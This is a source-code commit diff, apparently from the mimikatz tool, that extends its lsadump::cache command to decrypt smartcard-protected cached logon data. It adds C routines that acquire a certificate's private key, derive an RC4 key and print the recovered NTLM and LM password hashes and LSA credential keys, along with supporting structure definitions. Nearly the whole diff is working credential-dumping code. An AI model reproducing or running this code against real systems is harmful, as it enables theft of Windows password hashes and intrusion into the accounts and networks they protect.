[new] lsadump::cache can extract NTLM hash from SmartCard local cache (cc: @asolino)

[fix #133] Casting to ULONG result of the FIELD_OFFSET macro in lsasdump_dc module
This commit is contained in:
Benjamin DELPY 2018-03-18 00:24:05 +01:00
parent 448bf35019
commit 696ff18f11
4 changed files with 236 additions and 4 deletions

View File

@ -103,10 +103,14 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
HKEY hSystemBase, hSecurityBase;
BYTE sysKey[SYSKEY_LENGTH];
BOOL hashStatus = FALSE;
LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword;
LPCWSTR szSystem = NULL, szSecurity = NULL, szHash, szPassword, szSubject;
UNICODE_STRING uPassword;
KUHL_LSADUMP_DCC_CACHE_DATA cacheData = {0};
HCERTSTORE hCertStore = NULL;
PCCERT_CONTEXT pCertCtx;
BOOL toFree;
if(!secretsOrCache)
{
if(kull_m_string_args_byName(argc, argv, L"user", &cacheData.username, NULL))
@ -135,6 +139,36 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
else cacheData.username = NULL;
kprintf(L"\n");
}
else if(kull_m_string_args_byName(argc, argv, L"subject", &szSubject, NULL))
{
if(hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, CERT_SYSTEM_STORE_CURRENT_USER | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"My"))
{
if(pCertCtx = CertFindCertificateInStore(hCertStore, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, szSubject, NULL))
{
if(CryptAcquireCertificatePrivateKey(pCertCtx, 0, NULL, &cacheData.hProv, &cacheData.keySpec, &toFree))
{
if(cacheData.keySpec == CERT_NCRYPT_KEY_SPEC)
{
PRINT_ERROR(L"CNG not supported yet\n");
__try
{
if(toFree)
NCryptFreeObject(cacheData.hProv);
}
__except(GetExceptionCode() == ERROR_DLL_NOT_FOUND)
{
PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n");
}
cacheData.hProv = 0;
}
}
CertFreeCertificateContext(pCertCtx);
}
else PRINT_ERROR_AUTO(L"CertFindCertificateInStore");
CertCloseStore(hCertStore, CERT_CLOSE_STORE_FORCE_FLAG);
}
else PRINT_ERROR_AUTO(L"CertOpenStore");
}
}
if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL))
@ -185,6 +219,8 @@ NTSTATUS kuhl_m_lsadump_secretsOrCache(int argc, wchar_t * argv[], BOOL secretsO
kull_m_registry_close(hSystem);
}
}
if(cacheData.hProv && toFree)
CryptReleaseContext(cacheData.hProv, 0);
return STATUS_SUCCESS;
}
@ -696,7 +732,7 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
kprintf(L"\n[%s - ", secretName);
kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite);
kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId);
s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
if(lsaKeysStream) // NT 6
{
@ -705,6 +741,10 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity,
kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1)
kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->unk1, pCacheData->hProv, pCacheData->keySpec);
if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
{
kprintf(L"> User cache replace mode (2)!\n");
@ -785,6 +825,126 @@ void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version)
kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
}
DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM");
DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME);
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec)
{
BOOL status = FALSE;
PKIWI_ENC_SC_DATA pEnc = NULL;
DWORD toDecryptSize = 0;
HCRYPTHASH hHash, hHash2;
DWORD dwSigLen = 0;
PBYTE sig;
HCRYPTKEY hKey;
DWORD i, j;
PPAC_CREDENTIAL_DATA credentialData = NULL;
PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential;
PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4;
PKIWI_CREDENTIAL_KEYS pKeys = NULL;
if(size > sizeof(KIWI_ENC_SC_DATA))
{
if(RtlEqualMemory(data, "SuppData", 8))
{
pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data;
toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
}
else
{
pEnc = (PKIWI_ENC_SC_DATA) data;
toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
}
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
{
CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0);
if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen))
{
if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen))
{
if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen))
{
if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2))
{
CryptHashData(hHash2, sig, dwSigLen, 0);
CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0);
if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ?
{
if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize))
{
if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData))
{
for(i = 0; i < credentialData->CredentialCount; i++)
{
kprintf(L" [%u] %wZ", i, &credentialData->Credentials[i].PackageName);
if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
{
ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials;
switch(ntlmCredential->Version)
{
case 0:
if(ntlmCredential->Flags & 1)
{
kprintf(L"\n LM: ");
kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0);
}
if(ntlmCredential->Flags & 2)
{
kprintf(L"\n NTLM: ");
kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0);
}
break;
case 4: // 10 ?
ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential;
if(ntlmCredential4->Flags & 2)
{
kprintf(L"\n NTLM: ");
kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0);
}
break;
default:
kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version);
}
}
else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
{
if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys))
{
for(j = 0; j < pKeys->count; j++)
kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL);
kull_m_rpc_FreeCredentialKeys(&pKeys);
}
}
else
{
kprintf(L"\n");
kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16));
}
kprintf(L"\n");
}
kull_m_pac_FreeCredential(&credentialData);
}
}
else PRINT_ERROR_AUTO(L"CryptDecrypt");
CryptDestroyKey(hKey);
}
else PRINT_ERROR_AUTO(L"CryptDeriveKey(RC4)");
CryptDestroyHash(hHash2);
}
}
else PRINT_ERROR_AUTO(L"CryptSignHash(data)");
LocalFree(sig);
}
}
else PRINT_ERROR_AUTO(L"CryptSignHash(init)");
CryptDestroyHash(hHash);
}
}
return status;
}
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName)
{
DWORD szNeeded;

View File

@ -19,6 +19,7 @@
#include "kuhl_m_lsadump_remote.h"
#include "kuhl_m_crypto.h"
#include "dpapi/kuhl_m_dpapi_oe.h"
#include "sekurlsa/kuhl_m_sekurlsa.h"
#define SYSKEY_LENGTH 16
#define SAM_KEY_DATA_SALT_LENGTH 16
@ -303,6 +304,28 @@ typedef struct _MSCACHE_DATA {
DWORD unk8;
} MSCACHE_DATA, *PMSCACHE_DATA;
typedef struct _KIWI_ENC_SC_DATA {
BYTE toSign[32];
BYTE toHash[32];
BYTE toDecrypt[ANYSIZE_ARRAY];
} KIWI_ENC_SC_DATA, *PKIWI_ENC_SC_DATA;
typedef struct _KIWI_ENC_SC_DATA_NEW {
BYTE Header[8]; // SuppData
DWORD unk0;
DWORD unk1;
DWORD unk2;
DWORD dataSize;
KIWI_ENC_SC_DATA data;
} KIWI_ENC_SC_DATA_NEW, *PKIWI_ENC_SC_DATA_NEW;
typedef struct _NTLM_SUPPLEMENTAL_CREDENTIAL_V4 {
ULONG Version;
ULONG Flags;
ULONG unk;
UCHAR NtPassword[LM_NTLM_HASH_LENGTH];
} NTLM_SUPPLEMENTAL_CREDENTIAL_V4, *PNTLM_SUPPLEMENTAL_CREDENTIAL_V4;
typedef struct _WDIGEST_CREDENTIALS {
BYTE Reserverd1;
BYTE Reserverd2;
@ -385,6 +408,8 @@ typedef struct _LSA_SUPCREDENTIALS_BUFFERS {
typedef struct _KUHL_LSADUMP_DCC_CACHE_DATA {
LPCWSTR username;
BYTE ntlm[LM_NTLM_HASH_LENGTH];
HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv;
DWORD keySpec;
} KUHL_LSADUMP_DCC_CACHE_DATA, *PKUHL_LSADUMP_DCC_CACHE_DATA;
typedef struct _KIWI_LSA_PRIVATE_DATA {
@ -412,6 +437,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique);
BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData);
void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version);
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec);
void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName);
BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN LPCWSTR KeyName, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut);
void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName);

View File

@ -2358,7 +2358,7 @@ ULONG SRV_IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS
{
if(((PDRS_EXTENSIONS_INT) pextClient)->dwFlags & DRS_EXT_STRONG_ENCRYPTION)
{
size = ((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid);
size = (ULONG) ((((PDRS_EXTENSIONS_INT) pextClient)->cb >= FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt)) ? FIELD_OFFSET(DRS_EXTENSIONS_INT, dwFlagsExt) : FIELD_OFFSET(DRS_EXTENSIONS_INT, SiteObjGuid));
if(*ppextServer = (DRS_EXTENSIONS *) midl_user_allocate(size))
{
RtlZeroMemory(*ppextServer, size);

View File

@ -25,4 +25,50 @@ void CredentialKeys_Decode(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pTyp
void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType);
#define kull_m_rpc_DecodeCredentialKeys(/*PVOID */data, /*DWORD */size, /*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Decode(data, size, pObject, (PGENERIC_RPC_DECODE) CredentialKeys_Decode)
#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free)
#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free)
#define LSA_CREDENTIAL_KEY_PACKAGE_NAME L"LSACREDKEY"
//#define LSA_CREDENTIAL_KEY_PACKAGE_ID 0x10000 // pseudo package id. must not collide with any other package id
//#define LSA_CREDENTIAL_KEY_NAME "CredentialKeys"
//#define LSA_CREDENTIAL_KEY_ROOT_KEY_ITERATIONS (1024 * 10) // in parity with cache logon verifier
//
//typedef enum _LSA_CREDENTIAL_KEY_SOURCE_TYPE {
// eFromPrecomputed = 1, // used by Kerberos
// eFromClearPassword,
// eFromNtOwf,
//} LSA_CREDENTIAL_KEY_SOURCE_TYPE, *PLSA_CREDENTIAL_KEY_SOURCE_TYPE;
//
//typedef enum _LSA_CREDENTIAL_KEY_TYPE {
// eDPAPINtOwf = 1, // legacy NTOWF used by DPAPI
// eDPAPISha1, // legacy SHA1 used by DPAPI
// eRootKey, // PBKDF2(NTOWF), uplevel root key
// eDPAPIProtection, // uplevel DPAPI protection key, derived from root key
//} LSA_CREDENTIAL_KEY_TYPE, *PLSA_CREDENTIAL_KEY_TYPE;
//
//typedef struct _LSA_CREDENTIAL_KEY {
// LSA_CREDENTIAL_KEY_SOURCE_TYPE SourceType;
// LSA_CREDENTIAL_KEY_TYPE KeyType;
// USHORT Iterations;
// USHORT KeySize;
//#ifdef MIDL_PASS
// [size_is(KeySize)]
//#endif // MIDL_PASS
// PUCHAR KeyBuffer;
//} LSA_CREDENTIAL_KEY, *PLSA_CREDENTIAL_KEY;
//
//typedef struct _LSA_CREDENTIAL_KEY_ARRAY {
// USHORT KeyCount;
//#ifdef MIDL_PASS
// [size_is(KeyCount)] LSA_CREDENTIAL_KEY Keys[*];
//#else // MIDL_PASS
// LSA_CREDENTIAL_KEY Keys[ANYSIZE_ARRAY];
//#endif // MIDL_PASS
//} LSA_CREDENTIAL_KEY_ARRAY, *PLSA_CREDENTIAL_KEY_ARRAY;
//
////
//// convenience helper
////
//typedef struct _LSA_CREDENTIAL_KEY_ARRAY_STORAGE {
// USHORT KeyCount;
// LSA_CREDENTIAL_KEY Keys[8];
//} LSA_CREDENTIAL_KEY_ARRAY_STORAGE, *PLSA_CREDENTIAL_KEY_ARRAY_STORAGE;